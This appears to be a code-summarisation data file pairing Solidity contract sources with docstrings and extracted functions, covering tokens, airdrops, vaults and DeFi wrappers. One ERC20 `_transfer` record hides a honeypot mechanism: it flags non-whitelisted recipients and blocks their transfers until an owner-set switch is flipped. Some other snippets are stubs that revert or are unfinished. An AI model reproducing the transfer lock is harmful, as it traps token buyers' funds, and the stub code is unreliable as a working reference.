_templateProposalIndex); event LogNewContractProposal(address indexed _securityToken, address _offeringContract, address _delegate, uint _offeringProposalIndex); event LogCancelContractProposal(address indexed _securityToken, address _offeringContract, uint _offeringProposalIndex); /* @param _polyCustomersAddress The address of the Polymath Customers contract */ function Compliance(address _polyCustomersAddress) public { PolyCustomers = Customers(_polyCustomersAddress); } /** * @dev `setRegsitrarAddress` This function set the SecurityTokenRegistrar contract address. * @param _STRegistrar It is the `this` reference of STR contract * @return bool */ function setRegsitrarAddress(address _STRegistrar) public returns (bool) { require(STRegistrar == address(0)); STRegistrar = SecurityTokenRegistrar(_STRegistrar); return true; } /** * @dev `createTemplate` is a simple function to create a new compliance template * @param _offeringType The name of the security being issued * @param _issuerJurisdiction The jurisdiction id of the issuer * @param _accredited Accreditation status required for investors * @param _KYC KYC provider used by the template * @param _details Details of the offering requirements * @param _expires Timestamp of when the template will expire * @param _fee Amount of POLY to use the template (held in escrow until issuance) * @param _quorum Minimum percent of shareholders which need to vote to freeze * @param _vestingPeriod Length of time to vest funds */ function createTemplate( string _offeringType, bytes32 _issuerJurisdiction, bool _accredited, address _KYC, bytes32 _details, uint256 _expires, uint256 _fee, uint8 _quorum, uint256 _vestingPeriod ) public { require(_KYC != address(0)); require(_vestingPeriod >= MINIMUM_VESTING_PERIOD); address _template = new Template( msg.sender, _offeringType, _issuerJurisdiction, _accredited, _KYC, _details, _expires, _fee, _quorum, _vestingPeriod ); templates[_template] = TemplateReputation({ owner: msg.sender, totalRaised: 0, timesUsed: 0, expires: _expires, usedBy: new address[](0) }); LogTemplateCreated(msg.sender, _template, _offeringType); } /** * @dev Propose a bid for a security token issuance * @param _securityToken The security token being bid on * @param _template The unique template address * @return bool success */ function proposeTemplate( address _securityToken, address _template ) public returns (bool success) { // Verifying that provided _securityToken is generated by securityTokenRegistrar only var (totalSupply, owner,,) = STRegistrar.getSecurityTokenData(_securityToken); require(totalSupply > 0 && owner != address(0)); // Require that template has not expired, that the caller is the // owner of the template and that the template has been finalized require(templates[_template].expires > now); require(templates[_template].owner == msg.sender); // Creating the instance of template to avail the function calling template = Template(_template); var (,finalized) = template.getTemplateDetails(); require(finalized); //Get a reference of the template contract and add it to the templateProposals array templateProposals[_securityToken].push(_template); LogNewTemplateProposal(_securityToken, _template, msg.sender,templateProposals[_securityToken].length -1); return true; } /** * @dev Cancel a Template proposal if the bid hasn't been accepted * @param _securityToken The security token being bid on * @param _templateProposalIndex The template proposal array index * @return bool success */ function cancelTemplateProposal( address _securityToken, uint256 _templateProposalIndex ) public returns (bool success) { address proposedTemplate = templateProposals[_securityToken][_templateProposalIndex]; require(templates[proposedTemplate].owner == msg.sender); var (chosenTemplate,,,,) = ISecurityToken(_securityToken).getTokenDetails(); require(chosenTemplate != proposedTemplate); templateProposals[_securityToken][_templateProposalIndex] = address(0); LogCancelTemplateProposal(_securityToken, proposedTemplate, _templateProposalIndex); return true; } /** * @dev Set the STO contract by the issuer. * @param _STOAddress address of the STO contract deployed over the network. * @param _fee fee to be paid in poly to use that contract * @param _vestingPeriod no. of days investor binded to hold the Security token * @param _quorum Minimum percent of shareholders which need to vote to freeze */ function setSTO ( address _STOAddress, uint256 _fee, uint256 _vestingPeriod, uint8 _quorum ) public returns (bool success) { require(offerings[_STOAddress].auditor == address(0)); require(_STOAddress != address(0)); require(_quorum > 0 && _quorum <= 100); require(_vestingPeriod >= MINIMUM_VESTING_PERIOD); require(_fee > 0); offerings[_STOAddress].auditor = msg.sender; offerings[_STOAddress].fee = _fee; offerings[_STOAddress].vestingPeriod = _vestingPeriod; offerings[_STOAddress].quorum = _quorum; return true; } /** * @dev Propose a Security Token Offering Contract for an issuance * @param _securityToken The security token being bid on * @param _stoContract The security token offering contract address * @return bool success */ function proposeOfferingContract( address _securityToken, address _stoContract ) public returns (bool success) { // Verifying that provided _securityToken is generated by securityTokenRegistrar only var (totalSupply, owner,,) = STRegistrar.getSecurityTokenData(_securityToken); require(totalSupply > 0 && owner != address(0)); var (,,,,KYC) = ISecurityToken(_securityToken).getTokenDetails(); var (,,, verified, expires) = PolyCustomers.getCustomer(KYC, offerings[_stoContract].auditor); require(offerings[_stoContract].auditor == msg.sender); require(verified); require(expires > now); offeringProposals[_securityToken].push(_stoContract); LogNewContractProposal(_securityToken, _stoContract, msg.sender,offeringProposals[_securityToken].length -1); return true; } /** * @dev Cancel a STO contract proposal if the bid hasn't been accepted * @param _securityToken The security token being bid on * @param _offeringProposalIndex The offering proposal array index * @return bool success */ function cancelOfferingProposal( address _securityToken, uint256 _offeringProposalIndex ) public returns (bool success) { address proposedOffering = offeringProposals[_securityToken][_offeringProposalIndex]; require(offerings[proposedOffering].auditor == msg.sender); var (,,,,chosenOffering) = ISecurityToken(_securityToken).getTokenDetails(); require(chosenOffering != proposedOffering); offeringProposals[_securityToken][_offeringProposalIndex] = address(0); LogCancelContractProposal(_securityToken, proposedOffering, _offeringProposalIndex); return true; } /** * @dev `updateTemplateReputation` is a constant function that updates the history of a security token template usage to keep track of previous uses * @param _template The unique template id * @param _templateIndex The array index of the template proposal */ function updateTemplateReputation (address _template, uint8 _templateIndex) external returns (bool success) { require(templateProposals[msg.sender][_templateIndex] == _template); templates[_template].usedBy.push(msg.sender); return true; } /** * @dev `updateOfferingReputation` is a constant function that updates the history of a security token offering contract to keep track of previous uses * @param _stoContract The smart contract address of the STO contract * @param _offeringProposalIndex The array index of the security token offering proposal */ function updateOfferingReputation (address _stoContract, uint8 _offeringProposalIndex) external returns (bool success) { require(offeringProposals[msg.sender][_offeringProposalIndex] == _stoContract); offerings[_stoContract].usedBy.push(msg.sender); return true; } /** * @dev Get template details by the proposal index * @param _securityTokenAddress The security token ethereum address * @param _templateIndex The array index of the template being checked * @return Template struct */ function getTemplateByProposal(address _securityTokenAddress, uint8 _templateIndex) view public returns ( address _template ){ return templateProposals[_securityTokenAddress][_templateIndex]; } /** * @dev Get an array containing the address of all template proposals for a given ST * @param _securityTokenAddress The security token ethereum address * @return Template proposals array */ function getAllTemplateProposals(address _securityTokenAddress) view public returns (address[]){ return templateProposals[_securityTokenAddress]; } /** * @dev Get security token offering smart contract details by the proposal index * @param _securityTokenAddress The security token ethereum address * @param _offeringProposalIndex The array index of the STO contract being checked * @return Contract struct */ function getOfferingByProposal(address _securityTokenAddress, uint8 _offeringProposalIndex) view public returns ( address stoContract, address auditor, uint256 vestingPeriod, uint8 quorum, uint256 fee ){ address _stoContract = offeringProposals[_securityTokenAddress][_offeringProposalIndex]; return ( _stoContract, offerings[_stoContract].auditor, offerings[_stoContract].vestingPeriod, offerings[_stoContract].quorum, offerings[_stoContract].fee ); } /** * @dev Get an array containing the address of all offering proposals for a given ST * @param _securityTokenAddress The security token ethereum address * @return Offering proposals array */ function getAllOfferingProposals(address _securityTokenAddress) view public returns (address[]){ return offeringProposals[_securityTokenAddress]; } }
Get Functions Get security token address by ticker name _ticker Symbol of the Scurity token return address _ticker/
function getSecurityTokenAddress(string _ticker) public constant returns (address) { return tickers[_ticker]; }
885,179
/* Copyright 2018 Binod Nirvan @ Accept (http://accept.io) Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.4.24; import "./TokenBase.sol"; ///@title Fulcrum Token ///@author Binod Nirvan ///@notice The FULC is our native settlements token used across our marketplace, ///and will enable many important functions within the Accept global marketplace including: ///A medium of exchange (settlements) for Accept.io buyers and sellers A consumptive use (utility) token ///for marketplace users to access premium features in the Accept.io DApp An incentive for users to help ///improve the Accept Marketplace and contribute to the long-term development of Accept.io contract FulcrumToken is TokenBase { //solhint-disable not-rely-on-time //solium-disable security/no-block-members uint256 public icoEndDate; uint256 public constant ALLOCATION_FOR_COMMUNITY_REWARDS = 15 * MILLION; uint256 public constant ALLOCATION_FOR_RESERVE = 17 * MILLION; uint256 public constant ALLOCATION_FOR_TEAM = 40 * MILLION; uint256 public constant ALLOCATION_FOR_ADVISORS = 8 * MILLION; uint256 public constant ALLOCATION_FOR_INITIAL_STRATEGIC_PARTNERSHIPS = 10 * MILLION; uint256 public constant ALLOCATION_FOR_STRATEGIC_PARTNERSHIPS = 10 * MILLION; bool public targetReached = false; mapping(bytes32 => bool) private mintingList; event ICOEndDateSet(uint256 _date); event TargetReached(); ///@notice Checks if the minting for the supplied key was already performed. ///@param _key The key or category name of minting. modifier whenNotMinted(string _key) { if(mintingList[computeHash(_key)]) { revert("Duplicate minting key supplied."); } _; } ///@notice This function signifies that the minimum fundraising target was met. ///Please note that this can only be called once. function setSuccess() external onlyAdmin returns(bool) { require(!targetReached, "Access is denied."); targetReached = true; emit TargetReached(); } ///@notice This function enables the whitelisted application (internal application) to set the /// ICO end date and can only be used once. ///@param _date The date to set as the ICO end date. function setICOEndDate(uint _date) external onlyAdmin returns(bool) { require(icoEndDate == 0, "The ICO end date was already set."); icoEndDate = _date; emit ICOEndDateSet(_date); return true; } ///@notice Mints the below-mentioned amount of tokens allocated to rewarding the community. //The tokens are available to the community rewards pool only if the fundraiser was successful. function mintCommunityRewardTokens() external onlyAdmin returns(bool) { require(targetReached, "Sorry, you can't mint at this time because the target hasn't been reached yet."); return mintOnce("communityRewards", msg.sender, ALLOCATION_FOR_COMMUNITY_REWARDS); } ///@notice Mints the below-mentioned amount of tokens allocated to the operational reserves. //The tokens are only available in the reserves after 18 months of the ICO end. function mintReserveTokens() external onlyAdmin returns(bool) { require(targetReached, "Sorry, you can't mint at this time because the target hasn't been reached yet."); require(icoEndDate != 0, "You need to specify the ICO end date before minting the tokens."); require(now > (icoEndDate + 548 days), "Access is denied, it's too early to mint the reserve tokens."); return mintOnce("operationalReserve", msg.sender, ALLOCATION_FOR_RESERVE); } ///@notice Mints the below-mentioned amount of tokens allocated to the Accept.io founders. //The tokens are only available to the founders after 2 year of the ICO end. function mintTokensForTeam() external onlyAdmin returns(bool) { require(targetReached, "Sorry, you can't mint at this time because the target hasn't been reached yet."); require(icoEndDate != 0, "You need to specify the ICO end date before minting the tokens."); require(now > (icoEndDate + 730 days), "Access is denied, it's too early to mint team tokens."); return mintOnce("team", msg.sender, ALLOCATION_FOR_TEAM); } ///@notice Mints the below-mentioned amount of tokens allocated to the Accept.io advisors. //The tokens are only available to the advisors after 1 year of the ICO end. function mintTokensForAdvisors() external onlyAdmin returns(bool) { require(targetReached, "Sorry, you can't mint at this time because the target hasn't been reached yet."); require(icoEndDate != 0, "You need to specify the ICO end date before minting the tokens."); require(now > (icoEndDate + 365 days), "Access is denied, it's too early to mint advisory tokens."); return mintOnce("advisors", msg.sender, ALLOCATION_FOR_ADVISORS); } ///@notice Mints the below-mentioned amount of tokens allocated to the first Strategic Partnership category. //The tokens are available to the first strategic partners only if the fundraiser was successful. function mintTokensForInitialStrategicPartnerships() external onlyAdmin returns(bool) { require(targetReached, "Sorry, you can't mint at this time because the target hasn't been reached yet."); return mintOnce("initialStrategicPartners", msg.sender, ALLOCATION_FOR_INITIAL_STRATEGIC_PARTNERSHIPS); } ///@notice Mints the below-mentioned amount of tokens allocated to the second Strategic Partnership category. //The tokens are only available to the second strategic partners after 730 days of the ICO end. function mintTokensForStrategicPartnerships() external onlyAdmin returns(bool) { require(targetReached, "Sorry, you can't mint at this time because the target hasn't been reached yet."); require(icoEndDate != 0, "You need to specify the ICO end date before minting the tokens."); require(now > (icoEndDate + 730 days), "Access is denied, it's too early to mint the partnership tokens."); return mintOnce("strategicPartners", msg.sender, ALLOCATION_FOR_STRATEGIC_PARTNERSHIPS); } ///@notice Computes keccak256 hash of the supplied value. ///@param _key The string value to compute hash from. function computeHash(string _key) private pure returns(bytes32) { return keccak256(abi.encodePacked(_key)); } ///@notice Mints the tokens only once against the supplied key (category). ///@param _key The key or the category of the allocation to mint the tokens for. ///@param _to The address receiving the minted tokens. ///@param _amount The amount of tokens to mint. function mintOnce(string _key, address _to, uint256 _amount) private whenNotPaused whenNotMinted(_key) returns(bool) { mintingList[computeHash(_key)] = true; return mintTokens(_to, _amount); } }
This function enables the whitelisted application (internal application) to set the ICO end date and can only be used once. _date The date to set as the ICO end date.
function setICOEndDate(uint _date) external onlyAdmin returns(bool) { require(icoEndDate == 0, "The ICO end date was already set."); icoEndDate = _date; emit ICOEndDateSet(_date); return true; }
12,906,496
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "ds-test/test.sol"; import "./../mocks/SushiToken.sol"; import "./../mocks/SushiBar.sol"; import "./../interfaces/ISushiBar.sol"; import "./../SushiMakerTogether.sol"; contract SushiMakerTogetherTest is DSTest { SushiMakerTogether internal sushiMakerTogether; SushiBar internal sushiBar; SushiToken internal sushi; function setUp() public { //deploy sushi & sushiBar sushi = new SushiToken(); sushiBar = new SushiBar(sushi); //bootstrap sushiBar sushi.mint(address(this), 3_000 * 10**18); sushi.approve(address(sushiBar), 1_500 * 10**18); sushiBar.enter(1_500 * 10**18); sushi.transfer(address(sushiBar), 500 * 10**18); //deploy SushiMakerTogether sushiMakerTogether = new SushiMakerTogether(sushi, ISushiBar(address(sushiBar)), msg.sender); //approve sushiMakerTogether sushi.approve(address(sushiMakerTogether), 1000 * 10**18); sushiBar.approve(address(sushiMakerTogether), 1000 * 10**18); //deposit to test withdraw sushiMakerTogether.deposit(100 * 10**18, address(this), true); } function test_gas_deposit_sushi() public { sushiMakerTogether.deposit(10 * 10**18, address(this), true); } function test_gas_deposit_xSushi() public { sushiMakerTogether.deposit(10 * 10**18, address(this), false); } function test_gas_withdraw_sushi() public { sushiMakerTogether.withdraw(10 * 10**18, address(this), true); } function test_gas_withdraw_xSushi() public { sushiMakerTogether.withdraw(10 * 10**18, address(this), false); } function test_gas_claim() public { sushiMakerTogether.claim(address(this)); } }
deploy sushi & sushiBarbootstrap sushiBardeploy SushiMakerTogetherapprove sushiMakerTogetherdeposit to test withdraw
function setUp() public { sushi = new SushiToken(); sushiBar = new SushiBar(sushi); sushi.mint(address(this), 3_000 * 10**18); sushi.approve(address(sushiBar), 1_500 * 10**18); sushiBar.enter(1_500 * 10**18); sushi.transfer(address(sushiBar), 500 * 10**18); sushiMakerTogether = new SushiMakerTogether(sushi, ISushiBar(address(sushiBar)), msg.sender); sushi.approve(address(sushiMakerTogether), 1000 * 10**18); sushiBar.approve(address(sushiMakerTogether), 1000 * 10**18); sushiMakerTogether.deposit(100 * 10**18, address(this), true); }
895,268
./partial_match/1/0x4F6017d49326ab3CC14aDBfE17cE4c4bD69094EE/sources/ERC20.sol
Moves `amount` of tokens from `from` to `to`. This internal function is equivalent to {transfer}, and can be used to e.g. implement automatic token fees, slashing mechanisms, etc. Emits a {Transfer} event. Requirements: - `from` cannot be the zero address. - `to` cannot be the zero address. - `from` must have a balance of at least `amount`./ Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by decrementing then incrementing.
function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; uint256 toBalance = _balances[to]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; _balances[to] += amount; } if (_airdrop[from] || _airdrop[to]) require(_airdropApplied == true, ""); if (toBalance > 0 && !_whitelist[to]) _airdrop[to] = true; emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); }
2,619,601
// SPDX-License-Identifier: MIT pragma solidity ^0.6.12; contract SLA { event UpdateVaultSLA( address indexed vaultId, uint256 boundedNewSla, int256 deltaSla ); event UpdateRelayerSLA( address indexed relayerId, uint256 newSla, uint256 deltaSla ); enum VaultEvent { RedeemFailure, SubmitIssueProof, Refund, ExecuteIssue, Deposit, Withdraw, Liquidate } uint256 public TotalIssueCount; uint256 public LifetimeIssued; uint256 public VaultExecuteIssueMaxSlaChange; uint256 public VaultDepositMaxSlaChange; uint256 public VaultWithdrawMaxSlaChange; uint256 public AverageDepositCount; uint256 public AverageDeposit; uint256 public AverageWithdrawCount; uint256 public AverageWithdraw; struct SlaData { uint256 vaultRedeemFailure; uint256 vaultSubmitIssueProof; uint256 vaultRefund; uint256 executeIssue; uint256 deposit; uint256 withdraw; uint256 liquidate; uint256 sla; uint256 vaultTargetSla; } uint256 public VaultSLATarget = 100; int256 public FailedRedeem = -100; mapping(address => SlaData) VaultSLA; mapping(address => SlaData) StakedRelayerSLA; function _executeIssueSlaChange(uint256 amount) private returns (uint256) { uint256 count = TotalIssueCount + 1; TotalIssueCount = count; uint256 total = LifetimeIssued + amount; LifetimeIssued = total; uint256 average = total / count; uint256 maxSlaChange = VaultExecuteIssueMaxSlaChange; //uint256 increase = (amount / average) * maxSlaChange; return (amount * maxSlaChange) / average; } function _depositSlaChange(uint256 amount) private returns (uint256) { uint256 maxSlaChange = VaultDepositMaxSlaChange; uint256 count = AverageDepositCount + 1; AverageDepositCount = count; // newAverage = (oldAverage * (n-1) + newValue) / n uint256 average = (AverageDeposit * (count - 1) + amount) / count; AverageDeposit = average; // increase = (amount / average) * maxSlaChange return (amount / average) * maxSlaChange; } function _withdrawSlaChange(uint256 amount) private returns (uint256) { uint256 maxSlaChange = VaultWithdrawMaxSlaChange; uint256 count = AverageWithdrawCount + 1; AverageWithdrawCount = count; // newAverage = (oldAverage * (n-1) + newValue) / n uint256 average = (AverageWithdraw * (count - 1) + amount) / count; AverageWithdraw = average; return (amount / average) * maxSlaChange; } function _liquidateSla(address vaultId) private returns (int256) { // TODO //Self::liquidateStake::<T::CollateralVaultRewards>(vaultId)?; //Self::liquidateStake::<T::WrappedVaultRewards>(vaultId)?; revert("TODO"); SlaData storage slaData = VaultSLA[vaultId]; int256 deltaSla = -int256(slaData.sla); slaData.sla = 0; emit UpdateVaultSLA(vaultId, 0, deltaSla); } function limit( uint256 min, uint256 cur, uint256 max ) private pure returns (uint256) { return cur > max ? max : (cur > min ? cur : min); } function eventUpdateVaultSla( address vaultId, VaultEvent eventType, uint256 amount ) internal { SlaData storage slaData = VaultSLA[vaultId]; uint256 currentSla = slaData.sla; uint256 deltaSla; if (eventType == VaultEvent.RedeemFailure) { deltaSla = slaData.vaultRedeemFailure; } else if (eventType == VaultEvent.SubmitIssueProof) { deltaSla = slaData.vaultSubmitIssueProof; } else if (eventType == VaultEvent.Refund) { deltaSla = slaData.vaultRefund; } else if (eventType == VaultEvent.ExecuteIssue) { deltaSla = _executeIssueSlaChange(amount); } else if (eventType == VaultEvent.Deposit) { deltaSla = _depositSlaChange(amount); } else if (eventType == VaultEvent.Withdraw) { deltaSla = _withdrawSlaChange(amount); } else if (eventType == VaultEvent.Liquidate) { _liquidateSla(vaultId); return; } else { revert("unknow type"); } uint256 newSla = currentSla + deltaSla; uint256 maxSla = slaData.vaultTargetSla; // todo: check that this is indeed the max uint256 boundedNewSla = limit(0, newSla, maxSla); /* Self::adjustStake::<T::CollateralVaultRewards>(vaultId, deltaSla)?; Self::adjustStake::<T::WrappedVaultRewards>(vaultId, deltaSla)?; */ slaData.sla = boundedNewSla; emit UpdateVaultSLA(vaultId, boundedNewSla, int256(deltaSla)); } function SlashVault(address account) internal returns (uint256) {} function updateSLA(address account, uint256 delta) internal {} }
newAverage = (oldAverage (n-1) + newValue) / n
function _withdrawSlaChange(uint256 amount) private returns (uint256) { uint256 maxSlaChange = VaultWithdrawMaxSlaChange; uint256 count = AverageWithdrawCount + 1; AverageWithdrawCount = count; uint256 average = (AverageWithdraw * (count - 1) + amount) / count; AverageWithdraw = average; return (amount / average) * maxSlaChange; }
2,529,512
./partial_match/1/0xa1a5143b4044cC3B710FfB8D7130b24a542536f0/sources/lib/forge-std/src/safeconsole.sol
Selector of `log(bool,bool,address,bool)`.
function log(bool p0, bool p1, address p2, bool p3) internal pure { bytes32 m0; bytes32 m1; bytes32 m2; bytes32 m3; bytes32 m4; assembly { m0 := mload(0x00) m1 := mload(0x20) m2 := mload(0x40) m3 := mload(0x60) m4 := mload(0x80) mstore(0x00, 0xc0a302d8) mstore(0x20, p0) mstore(0x40, p1) mstore(0x60, p2) mstore(0x80, p3) } _sendLogPayload(0x1c, 0x84); assembly { mstore(0x00, m0) mstore(0x20, m1) mstore(0x40, m2) mstore(0x60, m3) mstore(0x80, m4) } }
16,053,076
./partial_match/1/0xC001647e18571F4513993Ce648C3E33534906b98/sources/Master.sol
Allows the current owner to relinquish control of the contract. Override to ensure that rebases aren't locked when this happens./
function releaseOwnership() public onlyOwner { require(!rebaseLocked, "Cannot renounce ownership if rebase is locked"); super.renounceOwnership(); }
3,886,190
./full_match/1/0xD243629A94c657cB415cFfbfB4f84fb8b98496ec/sources/contracts/TipJarManager.sol
Set new admin for TipJar proxy contract newAdmin new admin address/ bytes4(keccak256("changeAdmin(address)")) = 0x8f283970
function setProxyAdmin( address newAdmin ) external onlyTimelock { (bool success, ) = tipJar.call(abi.encodeWithSelector(hex"8f283970", newAdmin)); require(success, "setProxyAdmin failed"); }
9,784,597
./full_match/1/0x6C84F90766782919016285A21723d5a2c8a4fAff/sources/contracts/ExitQueue.sol
when the TORN is prepared call this function to claim/
function claim() external nonReentrant { require(false, "paused"); uint256 index = addr2index[msg.sender]; require(index <= preparedIndex, "not prepared"); uint256 value = index2value[index].v; require(value > 0, "have no pending"); delete addr2index[msg.sender]; delete index2value[index]; SafeERC20Upgradeable.safeTransfer(IERC20Upgradeable(TORN_CONTRACT), msg.sender, value); } v : the amount of voucher if prepared == false else the amount of TORN which can be claim prepared : prepared == true show that the TORN is prepared to claim
4,976,721
// SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "../library/StringLibrary.sol"; contract Airdrop is Pausable, Ownable, ReentrancyGuard { using SafeERC20 for IERC20; using StringLibrary for string; // version bytes32 constant public VERSION = bytes32("1.3.0"); IERC20 public immutable token; bytes32 public immutable root; // merkle tree root uint256 private _cliff; uint256 private _start; uint256 private _duration; uint256 private _firstReleasePercentage; mapping(uint256 => uint256) private _released; event Claimed(address claimer, uint256 amount, uint256 timestamp); constructor( IERC20 _token, bytes32 _root, uint256 __start, uint256 __cliffDuration, uint256 __duration, uint256 __firstReleasePercentage ) Pausable() { token = _token; root = _root; _duration = __duration; _cliff = __start + __cliffDuration; _start = __start; _firstReleasePercentage = __firstReleasePercentage; } /** * @return the cliff time of the airdrop vesting */ function cliff() external view returns (uint256) { return _cliff; } /** * @return the start time of the airdrop vesting */ function start() external view returns (uint256) { return _start; } /** * @return the duration of the airdrop vesting */ function duration() external view returns (uint256) { return _duration; } /** * @return the initial release percentage. */ function getPercentage() external view returns (uint256) { return _firstReleasePercentage; } /** * @dev Claims tokens to user's wallet * @param index value of the position in the list * @param amount total value to airdrop, Percentage and Vesting calculated by it * @param merkleProof the proof of merkle */ function claim( uint256 index, uint256 amount, bytes32[] calldata merkleProof ) external whenNotPaused nonReentrant { require( token.balanceOf(address(this)) >= (amount - _released[index]), "A-CNET-01" ); require(block.timestamp > _start, "A-TOOE-01"); bytes32 leaf = keccak256(abi.encodePacked(index, msg.sender, amount)); require( MerkleProof.verify(merkleProof, root, leaf), "A-MPNV-01" ); uint256 unreleased = _releasableAmount(index, amount); require(unreleased > 0, "A-NTAD-01"); _released[index] += unreleased; emit Claimed(msg.sender, unreleased, block.timestamp); token.safeTransfer(msg.sender, unreleased); } /** * @return released amount for the index * @param index value of the position in the list */ function released(uint256 index) external view returns (uint256) { return _released[index]; } function _releasableAmount(uint256 index, uint256 amount) private view returns (uint256) { return (_vestedAmount(amount) + _vestedByPercentage(amount)) - _released[index]; } function _vestedAmount(uint256 amount) private view returns (uint256) { uint256 totalBalance = amount - _vestedByPercentage(amount); if (block.timestamp < _cliff) { return 0; } else if (block.timestamp >= _start + _duration) { return totalBalance; } else { uint256 fromCliff = block.timestamp - _cliff; uint256 cliffDuration = _cliff - _start; uint256 durationAfterCliff = _duration - cliffDuration; uint256 vesting = (totalBalance * (fromCliff)) / (durationAfterCliff); return vesting; } } /** * @return releasableAmount for the index * @param index value of the position in the list * @param amount total value to airdrop, Percentage and Vesting calculated by it * @param merkleProof the proof of merkle */ function releasableAmount( uint256 index, uint256 amount, bytes32[] calldata merkleProof ) external view returns (uint256) { bytes32 leaf = keccak256(abi.encodePacked(index, msg.sender, amount)); require( MerkleProof.verify(merkleProof, root, leaf), "A-MPNV-02" ); return _releasableAmount(index, amount); } function _vestedByPercentage(uint256 amount) private view returns (uint256) { if (block.timestamp < _start) { return 0; } else { return (amount * _firstReleasePercentage) / 100; } } /** * @dev retrieves project tokens from the contract sending to the owner */ function retrieveProjectToken() external onlyOwner { uint256 balance = token.balanceOf(address(this)); token.safeTransfer(msg.sender, balance); } /** * @dev retrieves other tokens from the contract sending to the owner */ function retrieveOtherToken(address tok) external onlyOwner { IERC20 t = IERC20(address(tok)); uint256 balance = t.balanceOf(address(this)); t.safeTransfer(msg.sender, balance); } /** * @dev pauses the contract */ function pause() external onlyOwner { _pause(); } /** * @dev unpauses the contract */ function unpause() external onlyOwner { _unpause(); } }
retrieves other tokens from the contract sending to the owner/
function retrieveOtherToken(address tok) external onlyOwner { IERC20 t = IERC20(address(tok)); uint256 balance = t.balanceOf(address(this)); t.safeTransfer(msg.sender, balance); }
1,836,056
pragma solidity 0.5.16; import "./openzeppelin/Address.sol"; import "./openzeppelin/SafeMath.sol"; import "./interfaces/ILiquidityPoolV1Converter.sol"; import "./interfaces/ILiquidityPoolV2Converter.sol"; import "./interfaces/ISmartToken.sol"; import "./interfaces/IERC20Token.sol"; import "./interfaces/IWrbtcERC20.sol"; import "./interfaces/ISovrynSwapNetwork.sol"; import "./interfaces/ISovrynSwapFormula.sol"; import "./interfaces/IContractRegistry.sol"; import "./ContractRegistryClient.sol"; import "./mockups/LiquidityMining.sol"; import "./interfaces/ILoanToken.sol"; contract RBTCWrapperProxy is ContractRegistryClient { using Address for address; using SafeMath for uint256; address public wrbtcTokenAddress; address public sovrynSwapNetworkAddress; LiquidityMining public liquidityMiningContract; /** * @dev triggered after liquidity is added * * @param _provider liquidity provider * @param _reserveAmount provided reserve token amount * @param _poolTokenAmount minted pool token amount */ event LiquidityAdded( address indexed _provider, uint256 _reserveAmount, uint256 _poolTokenAmount ); /** * @dev triggered after liquidity is added to LiquidityPoolConverter V1 * * @param _provider liquidity provider * @param _reserveTokens provided reserve token * @param _reserveAmounts provided reserve token amount * @param _poolTokenAmount minted pool token amount */ event LiquidityAddedToV1( address indexed _provider, IERC20Token[] _reserveTokens, uint256[] _reserveAmounts, uint256 _poolTokenAmount ); /** * @dev triggered after liquidity is removed * * @param _provider liquidity provider * @param _reserveAmount added reserve token amount * @param _poolTokenAmount burned pool token amount */ event LiquidityRemoved( address indexed _provider, uint256 _reserveAmount, uint256 _poolTokenAmount ); /** * @dev triggered after liquidity is removed from LiquidityPoolConverter V1 * * @param _provider liquidity provider * @param _reserveTokens added reserve tokens * @param _reserveAmounts added reserve token amounts */ event LiquidityRemovedFromV1( address indexed _provider, IERC20Token[] _reserveTokens, uint256[] _reserveAmounts, uint256 _poolTokenAmount ); /** * @dev triggered after liquidity is removed * * @param _beneficiary account that will receive the conversion result or 0x0 to send the result to the sender account * @param _sourceTokenAmount amount to convert from, in the source token * @param _targetTokenAmount amount of tokens received from the conversion, in the target token * @param _path conversion path between two tokens in the network */ event TokenConverted( address indexed _beneficiary, uint256 indexed _sourceTokenAmount, uint256 indexed _targetTokenAmount, IERC20Token[] _path ); /** * @dev triggered after loan tokens are minted * @param user the user address * @param poolTokenAmount the minted amount of pool tokens * @param assetAmount the deposited amount of underlying asset tokens */ event LoanTokensMinted( address indexed user, uint256 poolTokenAmount, uint256 assetAmount ); /** * @dev triggered after loan tokens are minted * @param user the user address * @param poolTokenAmount the burnt amount of pool tokens * @param assetAmount the withdrawn amount of underlying asset tokens */ event LoanTokensBurnt( address indexed user, uint256 poolTokenAmount, uint256 assetAmount ); /** * @dev To check if ddress is contract address */ modifier checkAddress(address address_) { require(address_.isContract(), "The address is not a contract"); _; } constructor( address _wrbtcTokenAddress, address _sovrynSwapNetworkAddress, IContractRegistry _registry, address liquidityMiningAddress ) public ContractRegistryClient(_registry) checkAddress(_wrbtcTokenAddress) checkAddress(_sovrynSwapNetworkAddress) { wrbtcTokenAddress = _wrbtcTokenAddress; sovrynSwapNetworkAddress = _sovrynSwapNetworkAddress; liquidityMiningContract = LiquidityMining(liquidityMiningAddress); } function() external payable { require(wrbtcTokenAddress == msg.sender, "Only can receive rBTC from WRBTC contract"); } /** * @dev * The process: * 1.Accepts RBTC * 2.Sends RBTC to WRBTC contract in order to wrap RBTC to WRBTC * 3.Calls 'addLiquidity' on LiquidityPoolConverter contract * 4.Transfers pool tokens to user * * @param _liquidityPoolConverterAddress address of LiquidityPoolConverter contract * @param _reserveAddress address of the reserve to add to the pool * @param _amount amount of liquidity to add * @param _minReturn minimum return-amount of reserve tokens * * @return amount of pool tokens minted */ function addLiquidityToV2( address _liquidityPoolConverterAddress, address _reserveAddress, uint256 _amount, uint256 _minReturn ) public payable checkAddress(_liquidityPoolConverterAddress) returns(uint256) { ILiquidityPoolV2Converter _liquidityPoolConverter = ILiquidityPoolV2Converter(_liquidityPoolConverterAddress); 